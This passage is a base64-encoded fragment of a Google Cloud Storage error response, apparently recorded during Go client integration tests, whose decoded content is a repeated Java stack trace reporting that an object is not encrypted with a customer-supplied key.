lRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuQ29tcG9zZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoQ29tcG9zZU9iamVjdC5qYXZhOjE5OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkNvbXBvc2VPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKENvbXBvc2VPYmplY3QuamF2YTo0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5jb21wb3NlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IENvbXBvbmVudCBvYmplY3QgKGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIpIHVzIG5vdCBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5jb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5GYXVsdDogSW1tdXRhYmxlRXJyb3JEZWZpbml0aW9ue2Jhc2U9SU5WQUxJRF9WQUxVRSwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpSRVNPVVJDRV9OT1RfRU5DUllQVEVEX1dJVEhfQ1VTVE9NRVJfRU5DUllQVElPTl9LRVk6IENvbXBvbmVudCBvYmplY3QgKGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIpIHVzIG5vdCBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuQ29tcG9zZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoQ29tcG9zZU9iamVjdC5qYXZhOjE5OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkNvbXBvc2VPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKENvbXBvc2VPYmplY3QuamF2YTo0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5jb21wb3NlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IENvbXBvbmVudCBvYmplY3QgKGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIpIHVzIG5vdCBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBkb21haW49Z2xvYmFsLCBleHRlbmRlZEhlbHA9aHR0cHM6Ly9jbG91ZC5nb29nbGUuY29tL3N0b3JhZ2UvZG9jcy9lbmNyeXB0aW9uI2N1c3RvbWVyLXN1cHBsaWVkX2VuY3J5cHRpb25fa2V5cywgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9YmFkUmVxdWVzdCwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1jbG91ZC5iaWdzdG9yZS5hcGkuQmlnc3RvcmVFcnJvckRvbWFpbi5SRVNPVVJDRV9OT1RfRU5DUllQVEVEX1dJVEhfQ1VTVE9NRVJfRU5DUllQVElPTl9LRVksIGNyZWF0ZWRCeUJhY2tlbmQ9dHJ1ZSwgZGVidWdNZXNzYWdlPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpSRVNPVVJDRV9OT1RfRU5DUllQVEVEX1dJVEhfQ1VTVE9NRVJfRU5DUllQVElPTl9LRVk6IENvbXBvbmVudCBvYmplY3QgKGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIpIHVzIG5vdCBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuQ29tcG9zZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoQ29tcG9zZU9iamVjdC5qYXZhOjE5OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkNvbXBvc2VPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKENvbXBvc2VPYmplY3QuamF2YTo0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5jb21wb3NlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IENvbXBvbmVudCBvYmplY3QgKGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIpIHVzIG5vdCBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBlcnJvclByb3RvQ29kZT1SRVNPVVJDRV9OT1RfRU5DUllQVEVEX1dJVEhfQ1VTVE9NRVJfRU5DUllQVElPTl9LRVksIGVycm9yUHJvdG9Eb21haW49Y2xvdWQuYmlnc3RvcmUuYXBpLkJpZ3N0b3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1lbnRpdHkuZW5jcnlwdGlvbktleSwgbWVzc2FnZT1Db21wb25lbnQgb2JqZWN0IChnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY3VzdG9tZXItZW5jcnlwdGlvbi0yKSB1cyBub3QgZW5jcnlwdGVkIGJ5IGEgY3VzdG9tZXItc3VwcGxpZWQgZW5jcnlwdGlvbiBrZXkuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249ZW50aXR5LmVuY3J5cHRpb25LZXksIG1lc3NhZ2U9VGhlIHRhcmdldCBvYmplY3QgaXMgbm90IGVuY3J5cHRlZCBieSBhIGN1c3RvbWVyLXN1cHBsaWVkIGVuY3J5cHRpb24ga2V5LiwgcmVhc29uPXJlc291cmNlTm90RW5jcnlwdGVkV2l0aEN1c3RvbWVyRW5jcnlwdGlvbktleSwgcnBjQ29kZT00MDB9IFRoZSB0YXJnZXQgb2JqZWN0IGlzIG5vdCBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS46IGNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpSRVNPVVJDRV9OT1RfRU5DUllQVEVEX1dJVEhfQ1VTVE9NRVJfRU5DUllQVElPTl9LRVk6IENvbXBvbmVudCBvYmplY3QgKGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIpIHVzIG5vdCBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuQ29tcG9zZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoQ29tcG9zZU9iamVjdC5qYXZhOjE5OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkNvbXBvc2VPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKENvbXBvc2VPYmplY3QuamF2YTo0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5jb21wb3NlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IENvbXBvbmVudCBvYmplY3QgKGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLTIpIHVzIG5vdCBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkVycm9yQ29sbGVjdG9yLnRvRmF1bHQoRXJyb3JDb2xsZWN0b3IuamF2YTo1NClcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lFcnJvckNvbnZlcnRlci50b0ZhdWx0KFJvc3lFcnJvckNvbnZlcnRlci5qYXZhOjY3KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjU5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjM5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20u